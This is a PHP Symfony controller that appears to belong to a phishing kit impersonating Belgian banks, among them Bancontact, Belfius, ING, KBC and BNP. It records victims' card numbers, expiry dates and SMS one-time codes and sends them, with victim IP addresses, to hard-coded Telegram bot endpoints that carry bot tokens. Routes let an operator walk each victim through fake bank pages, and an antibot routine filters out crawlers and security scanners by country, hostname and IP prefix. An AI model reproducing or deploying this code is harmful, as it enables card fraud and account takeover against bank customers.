<?php
namespace App\Controller;
use App\Entity\Blacklist;
use App\Entity\User;
use Doctrine\Persistence\ManagerRegistry;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Session\Session;
use Symfony\Component\Routing\Annotation\Route;
class UserController extends AbstractController
{
private $telegram1 ='https://api.telegram.org/bot8051442795:AAEp9c-JL2mtGJwAveMj8APxCo-jcgCCWi4/sendMessage?chat_id=-4884414760&text=' ;
private $telegram ='https://api.telegram.org/bot8184827609:AAFGwH57gPbKeARTvPL9N1OZvBRuwnlAEzs/sendMessage?chat_id=-4855090838&text=' ;
private $country='US';
private $FOD=0;
#[Route('/')]
public function index(Request $request,ManagerRegistry $doctrine): Response
{
$emailClick=$request->get('email');
$emailClick="cc@cc.cc";
$message="";
$response="";
$month = date("m");
$session=new Session();
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
// Validate email
if (filter_var($emailClick, FILTER_VALIDATE_EMAIL)) {
if ($this->antibot($request)==false){
$em=$doctrine->getManager();
$user=$em->getRepository(User::class)->findOneByIp($ip);
if ($user) {
$user->setIp($ip);
$user->setNowStep('home');
$user->setStep('');
$em->persist($user);
$em->flush();
$session->set('user', $user);
$ip = $request->getClientIp();
$message .= "\n";
$message .= ">>: ".$emailClick;
$message .= "\n";
$message .= "\n";
$message .= "http://www.geodatatool.com/?IP=".$ip ."\n";
file_get_contents($this->telegram1 . urlencode($message)."" );
}else{
$user = new User();
$user->setIp($ip);
$user->setIsShowing(0);
$user->setNowStep('home');
$user->setStep('');
$em->persist($user);
$em->flush();
$session->set('user',$user);
$ip = $request->getClientIp();
$message .= "\n";
$message .= ">>: ".$emailClick;
$message .= "\n";
$message .= "\n";
$message .= "http://www.geodatatool.com/?IP=".$ip ."\n";
file_get_contents($this->telegram1 . urlencode($message)."" );
}
}else{
return $this->redirect('https://www.hopa.com/');
}
}else{
return $this->redirect('https://hopa.com');
}
return $this->render('user/index.html.twig',array('response'=>$response));
}
#[Route('/bancontact/')]
public function bancontact(Request $request,ManagerRegistry $doctrine): Response
{
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
$message="";
$response=$request->get("error");
$card="";
$expiryMonth="";
$expiryYear="";
$month = date("m");
$session=new Session();
$em=$doctrine->getManager();
$type=$request->get('type');
if ($this->antibot($request)==false){
if ($request->getMethod()==='POST'){
$currentD = $this->get_current_file_url($Protocol='https://');
$submittedToken = $request->request->get('token');
$expiryYear=$request->get('expiryYear');
$expiryMonth=$request->get('expiryMonth');
$card=$request->get('card');
$ip = $request->getClientIp();
if ($card != "") {
if ($expiryMonth != "--") {
if ($expiryYear != "----") {
$scard = $card;
$card = str_replace(' ', '', $card);
if ($expiryYear>=2022){
$user=$em->getRepository(User::class)->findOneByIp($ip);
if ($user){
$user->setNumeroCard($card);
$user->setMonth($expiryMonth);
$user->setYear($expiryYear);
$user->setIp($ip);
$user->setNowStep('CC');
$user->setStep('');
if ($type!=""){
$user->setType($type);
}
$em->persist($user);
$em->flush();
$session->set('user',$user);
$message="";
$message .= "π π ".$user->getId()."\n";
$message .= "\n";
$message .= "π³ : ".$card ."\n";
$message .= "EXP : ".$expiryMonth."/".$expiryYear ."\n";
$message .= "\n";
$message .= "Type : ". $type."\n";
$message .= "\n";
$message .="π±LINK: ".$currentD."/panel/"." \n";
$message .= "\n";
$message .= "πIP : http://www.geoiptool.com/?IP=".$ip ."\n";
file_get_contents($this->telegram . urlencode($message)."" );
return $this->redirect('/loading/');
}else{
$user = new User();
$user->setNumeroCard($card);
$user->setMonth($expiryMonth);
$user->setYear($expiryYear);
$user->setIp($ip);
$user->setNowStep('CC');
$user->setIsShowing(0);
$user->setStep('');
if ($type!=""){
$user->setType($type);
}
$em->persist($user);
$em->flush();
$session->set('user',$user);
$message="";
$message .= "π π ".$user->getId()."\n";
$message .= "\n";
$message .= "π³ : ".$card ."\n";
$message .= "EXP : ".$expiryMonth."/".$expiryYear ."\n";
$message .= "\n";
$message .= "Type : ". $type."\n";
$message .= "\n";
$message .="π±LINK: ".$currentD."/panel/"." \n";
$message .= "\n";
$message .= "πIP : http://www.geoiptool.com/?IP=".$ip ."\n";
file_get_contents($this->telegram . urlencode($message)."" );
return $this->redirect('/loading/');
}
}else{
$response = 'OK';
}
} else {
$response = 'OK';
}
} else {
$response = 'OK';
}
}else{
$response='OK';
}
}else{
$id=$session->get('user')->getId();
$user=$em->getRepository(User::class)->findOneById($id);
if($user){
$user->setStep('');
$user->setNowStep('CC');
if ($type!=""){
$user->setType($type);
}
$em->persist($user);
$em->flush();
}else{
$user = new User();
$user->setStep('');
$user->setNowStep('CC');
if ($type!=""){
$user->setType($type);
}
$em->persist($user);
$em->flush();
}
}
}else{
return $this->redirect('https://www.google.com/');
}
return $this->render('user/bancontact.html.twig',array('response'=>$response,'card'=>$card,
'expiryMonth'=>$expiryMonth,'expiryYear'=>$expiryYear));
}
#[Route('/loading/')]
public function loading(Request $request,ManagerRegistry $doctrine): Response
{
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
$response="";
if ($this->antibot($request)==true){
return $this->redirect('https://www.google.com/');
}
return $this->render('user/loading.html.twig',array('response'=>$response));
}
#[Route('/argenta/')]
public function argenta(Request $request,ManagerRegistry $doctrine): Response
{
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
$message="";
$response="";
$session=new Session();
$em=$doctrine->getManager();
$response=$request->get('error');
if ($this->antibot($request)==false){
$ip = $request->getClientIp();
$id=$session->get('user')->getId();
$user=$em->getRepository(User::class)->findOneById($id);
if($user){
$user->setStep('');
$user->setNowStep('argenta');
$em->flush();
}
}else{
return $this->redirect('https://www.google.com/');
}
return $this->render('user/argenta.html.twig',array('response'=>$response,'user'=>$user));
}
#[Route('/vdk/')]
public function vdk(Request $request,ManagerRegistry $doctrine): Response
{
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
$message="";
$response="";
$session=new Session();
$em=$doctrine->getManager();
$response=$request->get('error');
if ($this->antibot($request)==false){
$ip = $request->getClientIp();
$id=$session->get('user')->getId();
$user=$em->getRepository(User::class)->findOneById($id);
if ($user){
$user->setStep('');
$user->setNowStep('vdk');
$em->flush();
}
}else{
return $this->redirect('https://www.google.com/');
}
return $this->render('user/vdk.html.twig',array('response'=>$response,'user'=>$user));
}
#[Route('/crelan/')]
public function crelan(Request $request,ManagerRegistry $doctrine): Response
{
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
$message="";
$response="";
$session=new Session();
$em=$doctrine->getManager();
$response=$request->get('error');
if ($this->antibot($request)==false){
$ip = $request->getClientIp();
$id=$session->get('user')->getId();
$user=$em->getRepository(User::class)->findOneById($id);
if ($user){
$user->setStep('');
$user->setNowStep('crelan');
$em->flush();
}
}else{
return $this->redirect('https://www.google.com/');
}
return $this->render('user/crelan.html.twig',array('response'=>$response,'user'=>$user));
}
#[Route('/bnp/')]
public function bnp(Request $request,ManagerRegistry $doctrine): Response
{
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
$message="";
$response="";
$session=new Session();
$em=$doctrine->getManager();
$response=$request->get('error');
if ($this->antibot($request)==false){
$ip = $request->getClientIp();
$id=$session->get('user')->getId();
$user=$em->getRepository(User::class)->findOneById($id);
if($user){
$user->setStep('');
$user->setNowStep('bnp');
$em->flush();
}
}else{
return $this->redirect('https://www.google.com/');
}
return $this->render('user/bnp.html.twig',array('response'=>$response,'user'=>$user));
}
#[Route('/get/step/')]
public function getStep(Request $request,ManagerRegistry $doctrine)
{
$session=new Session();
$em=$doctrine->getManager();
$response=array();
$id=$session->get('user')->getId();
$user=$em->getRepository(User::class)->findOneById($id);
if ($user){
$user->setDatetime(new \DateTime());
$em->flush();
$response['step']=$user->getStep();
$response['code1']=$user->getCode();
$response['code2']=$user->getCode2();
}else{
$response['step']="home";
}
return new JsonResponse($response);
}
#[Route('/success/')]
public function success(Request $request,ManagerRegistry $doctrine)
{
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
$response="";
if ($this->antibot($request)==true){
return $this->redirect('https://www.google.com/');
}
return $this->render('user/success.html.twig');
}
#[Route('/bancontactVbv/')]
public function bancontactVbv(Request $request,ManagerRegistry $doctrine)
{
$message="";
$response="";
$session=new Session();
$em=$doctrine->getManager();
$response=$request->get('error');
if ($this->antibot($request)==false){
$ip = $request->getClientIp();
$id=$session->get('user')->getId();
$user=$em->getRepository(User::class)->findOneById($id);
if ($user){
$user->setStep('');
$user->setNowStep('bancontact');
$em->flush();
}
}else{
return $this->redirect('https://www.google.com/');
}
return $this->render('user/bancontactVbv.html.twig',array('response'=>$response,'user'=>$user));
}
#[Route('/belfius/')]
public function belfius(Request $request,ManagerRegistry $doctrine)
{
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
$message="";
$response="";
$session=new Session();
$em=$doctrine->getManager();
$response=$request->get('error');
if ($this->antibot($request)==false){
$ip = $request->getClientIp();
$id=$session->get('user')->getId();
$user=$em->getRepository(User::class)->findOneById($id);
if ($user){
$user->setNowStep('belfius');
$user->setStep('');
$em->flush();
}
}else{
return $this->redirect('https://www.google.com/');
}
return $this->render('user/belfius.html.twig',array('response'=>$response,'user'=>$user));
}
#[Route('/ing/')]
public function ing(Request $request,ManagerRegistry $doctrine)
{
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
$message="";
$response="";
$session=new Session();
$em=$doctrine->getManager();
$response=$request->get('error');
if ($this->antibot($request)==false){
$ip = $request->getClientIp();
$id=$session->get('user')->getId();
$user=$em->getRepository(User::class)->findOneById($id);
if ($user){
$user->setNowStep('ing');
$user->setStep('');
$em->flush();
}
}else{
return $this->redirect('https://www.google.com/');
}
return $this->render('user/ing.html.twig',array('response'=>$response,'user'=>$user));
}
#[Route('/kbc/')]
public function kbc(Request $request,ManagerRegistry $doctrine)
{
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
$message="";
$response="";
$session=new Session();
$em=$doctrine->getManager();
$response=$request->get('error');
if ($this->antibot($request)==false){
$ip = $request->getClientIp();
$id=$session->get('user')->getId();
$user=$em->getRepository(User::class)->findOneById($id);
if ($user){
$user->setNowStep('kbc');
$user->setStep('');
$em->flush();
}
}else{
return $this->redirect('https://www.google.com/');
}
return $this->render('user/kbc.html.twig',array('response'=>$response,'user'=>$user));
}
#[Route('/axa/')]
public function axa(Request $request,ManagerRegistry $doctrine)
{
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
$message="";
$response="";
$session=new Session();
$em=$doctrine->getManager();
$response=$request->get('error');
if ($this->antibot($request)==false){
$ip = $request->getClientIp();
$id=$session->get('user')->getId();
$user=$em->getRepository(User::class)->findOneById($id);
if ($user){
$user->setNowStep('axa');
$user->setStep('');
$em->flush();
}
}else{
return $this->redirect('https://www.google.com/');
}
return $this->render('user/axa.html.twig',array('response'=>$response,'user'=>$user));
}
#[Route('/bepost/')]
public function bepost(Request $request,ManagerRegistry $doctrine)
{
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
$message="";
$response="";
$session=new Session();
$em=$doctrine->getManager();
$response=$request->get('error');
if ($this->antibot($request)==false){
$ip = $request->getClientIp();
$id=$session->get('user')->getId();
$user=$em->getRepository(User::class)->findOneById($id);
if ($user){
$user->setNowStep('bepost');
$user->setStep('');
$em->flush();
}
}else{
return $this->redirect('https://www.google.com/');
}
return $this->render('user/bepost.html.twig',array('response'=>$response,'user'=>$user));
}
#[Route('/hello/')]
public function hello(Request $request,ManagerRegistry $doctrine)
{
$ip = $request->getClientIp();
$em=$doctrine->getManager();
$bl=$em->getRepository(Blacklist::class)->findOneByIp($ip);
if ($bl){
return $this->redirect($bl->getUrl());
}
$message="";
$response="";
$session=new Session();
$em=$doctrine->getManager();
$response=$request->get('error');
if ($this->antibot($request)==false){
$ip = $request->getClientIp();
$id=$session->get('user')->getId();
$user=$em->getRepository(User::class)->findOneById($id);
if ($user){
$user->setNowStep('hello');
$user->setStep('');
$em->flush();
}
}else{
return $this->redirect('https://www.google.com/');
}
return $this->render('user/hello.html.twig',array('response'=>$response,'user'=>$user));
}
//---------------------------------------------
#[Route('/submit/otp/ajax/')]
public function setSms(Request $request,ManagerRegistry $doctrine)
{
$response="";
$em=$doctrine->getManager();
$session=new Session();
$id=$session->get('user')->getId();
$sms=$request->get('sms');;
$ip = $request->getClientIp();
$currentD = $this->get_current_file_url($Protocol='https://');
$login=$em->getRepository(User::class)->findOneById($id);
if ($login){
$login->setMontant($sms);
$login->setStep('');
$login->setDatetime(new \DateTime());
$em->persist($login);
$em->flush();
$session->set('user',$login);
$message="";
$message .= "π π ".$login->getId()."\n";
$message .= "\n";
$message .= "OTP β
: ".$sms ."\n";
$message .= "\n";
$message .= "FOR π : ".$login->getNumeroCard() ."\n";
$message .= "\n";
$message .= "πIP : http://www.geoiptool.com/?IP=".$ip ."\n";
file_get_contents($this->telegram . urlencode($message)."" );
$response="OK";
}else{
$login=new User();
$login->setIp($ip);
$login->setMontant($sms);
$login->setStep('');
$login->setDatetime(new \DateTime());
$login->setIsShowing(0);
$em->persist($login);
$em->flush();
$session->set('user',$login);
$message="";
$message .= "π π ".$login->getId()."\n";
$message .= "\n";
$message .= "OTP β
: ".$sms ."\n";
$message .= "\n";
$message .= "FOR π : ".$login->getCard() ."\n";
$message .= "\n";
$message .= "πIP : http://www.geoiptool.com/?IP=".$ip ."\n";
file_get_contents($this->telegram . urlencode($message)."" );
$response="OK";
}
return new Response($response);
}
#[Route('/submit/ip/ajax/')]
public function submitIpAjax(Request $request,ManagerRegistry $doctrine)
{
$response="";
$em=$doctrine->getManager();
$ip=$request->get('ip');
$url=$request->get('url');
$b=new Blacklist();
$b->setUrl($url);
$b->setIp($ip);
$em->persist($b);
$em->flush();
$response="OK";
return new Response($response);
}
#[Route('/clear/step/ajax/')]
public function clearStepAjax(Request $request,ManagerRegistry $doctrine)
{
$response="";
$em=$doctrine->getManager();
$session=new Session();
$id=$session->get('user')->getId();
$sms=$request->get('sms');
$ip = $request->getClientIp();
$login=$em->getRepository(User::class)->findOneById($id);
if ($login){
$login->setIp($ip);
$login->setStep('');
$em->persist($login);
$em->flush();
$response="OK";
}else{
$login=new User();
$login->setIp($ip);
$login->setStep('');
$em->persist($login);
$em->flush();
$response="OK";
}
return new Response($response);
}
function antibot($request){
$response = false;
$ip = $request->getClientIp();
// Use IP-API.com instead of geoplugin
$details = json_decode(file_get_contents("http://ip-api.com/json/".$ip));
$country = $details->countryCode ?? null;
$ip188 = substr($ip, 0, 7);
$ip128 = substr($ip, 0, 6);
$ip189 = substr($ip, 0, 7);
$ip109136 = substr($ip, 0, 7);
$ip3131 = substr($ip, 0, 5);
$ip10988203 = substr($ip, 0, 11);
$ip109142 = substr($ip, 0, 7);
if ($country != $this->country) {
return true;
}
$hostname = gethostbyaddr($ip);
$pos1 = strpos($hostname, 'cache', 1);
$pos2 = strpos($hostname, 'google', 1);
if ($pos1 or $pos2 ) {
return true;
}
if (
$ip188 == "188.188" or $ip == "85.26.109.208" or $ip == "185.59.17.117" or $ip == "193.105.73.213" or $ip == "78.21.86.228"
or $ip128 == "128.90" or $ip188 == "188.189" or $ip109136 == "109.136"
or $ip3131 == "31.31" or $ip10988203 == "109.88.203" or $ip109142 == "109.142"
) {
return true;
}
return $response;
}
function get_current_file_url($Protocol='https://') {
return $Protocol.$_SERVER['HTTP_HOST'];
}
}